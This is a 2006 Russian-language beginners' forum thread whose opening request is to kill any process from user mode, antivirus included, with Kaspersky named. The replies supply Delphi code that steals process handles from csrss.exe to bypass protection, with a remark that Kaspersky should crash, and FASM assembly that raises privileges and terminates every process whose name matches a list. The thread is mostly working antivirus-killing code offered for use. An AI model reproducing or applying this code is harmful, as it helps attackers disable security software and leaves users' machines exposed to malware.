Убить любой процесс из Ring3

Тема в разделе "WASM.BEGINNERS", создана пользователем Rihter, 1 мар 2006.

  1. Rihter

    Rihter New Member

    Публикаций:
    0
    Регистрация:
    24 фев 2006
    Сообщения:
    76
    Убить любой, в том числе AVP

    Debug и т. п. Не предлогать...
     
  2. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Можно попробовать сначала найти хэндл процесса вот таким способом (ms-rem):


    Код (Text):
    1. Function OpenProcessEx(dwProcessId: DWORD): THandle;
    2. var
    3.  HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
    4.  ProcessInfo: _PROCESS_BASIC_INFORMATION;
    5.  idCSRSS: dword;
    6.  hCSRSS : dword;
    7.  tHandle: dword;
    8.  r      : dword;
    9. begin
    10.  Result := 0;
    11.  //открываем процесс csrss.exe
    12.  idCSRSS := GetProcessId('csrss.exe');
    13.  hCSRSS  := OpenProcess(PROCESS_DUP_HANDLE, false, idCSRSS);
    14.  if hCSRSS = 0 then Exit;
    15.  HandlesInfo := GetInfoTable(SystemHandleInformation);
    16.  if HandlesInfo <> nil then
    17.  for r := 0 to HandlesInfo^.NumberOfHandles do
    18.    if (HandlesInfo^.Information[r].ObjectTypeNumber = $5) and  //тип хэндла - процесс
    19.       (HandlesInfo^.Information[r].ProcessId = idCSRSS) then   //владелец - CSRSS
    20.         begin
    21.           //копируем хэндл себе
    22.           if DuplicateHandle(hCSRSS, HandlesInfo^.Information[r].Handle,
    23.                              INVALID_HANDLE_VALUE, @tHandle, 0, false,
    24.                              DUPLICATE_SAME_ACCESS) then
    25.  
    26.              begin
    27.                ZwQueryInformationProcess(tHandle, ProcessBasicInformation,
    28.                                          @ProcessInfo,
    29.                                          SizeOf(_PROCESS_BASIC_INFORMATION), nil);
    30.                if ProcessInfo.UniqueProcessId = dwProcessId then
    31.                   begin
    32.                     VirtualFree(HandlesInfo, 0, MEM_RELEASE);
    33.                     CloseHandle(hCSRSS);
    34.                     Result := tHandle;
    35.                     Exit;
    36.                   end else CloseHandle(tHandle);
    37.              end;
    38.         end;
    39.  VirtualFree(HandlesInfo, 0, MEM_RELEASE);
    40.  CloseHandle(hCSRSS);
    41. end;




    а потом с SeDebug привилегиями закрыть процесс (не уверен насчет TerminateProcess, но под отладкой должно работать(чем она тебя не устроила)). Кашперский должен вылетать...
     
  3. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Статья с кодом тут.
     
  4. Nata

    Nata New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    41
    Вот ещё один на фасме!



    invoke GetCurrentProcess

    invoke OpenProcessToken,eax,TOKEN_QUERY_TOKEN_ADJUST_PRIVILEGES,phTo ken

    invoke LookupPrivilegeValueA,0,Privilege ,pLocalId

    mov dword[PrivilegeCount],1

    mov dword[Attributes],2

    invoke AdjustTokenPrivileges,dword[phToken],0,PrivilegeCount ,0,0,0



    mov [prcs.dwSize],sizeof.PROCESSENTRY32

    invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0

    mov dword[hSnapshot], eax

    invoke Process32First, dword[hSnapshot],prcs

    f: mov edi,PrcList

    invoke StrStrIA,prcs.szExeFile, edi

    cmp eax,0

    je _NextProc

    call kill





    _NextProc:

    invoke Process32Next,dword[hSnapshot],prcs

    cmp eax,0

    jne f

    invoke ExitProcess,0

    kill: invoke OpenProcess,PROCESS_TERMINATE,0,dword[prcs.th32ProcessID]

    invoke TerminateProcess,eax,0

    retn
     
  5. Nata

    Nata New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    41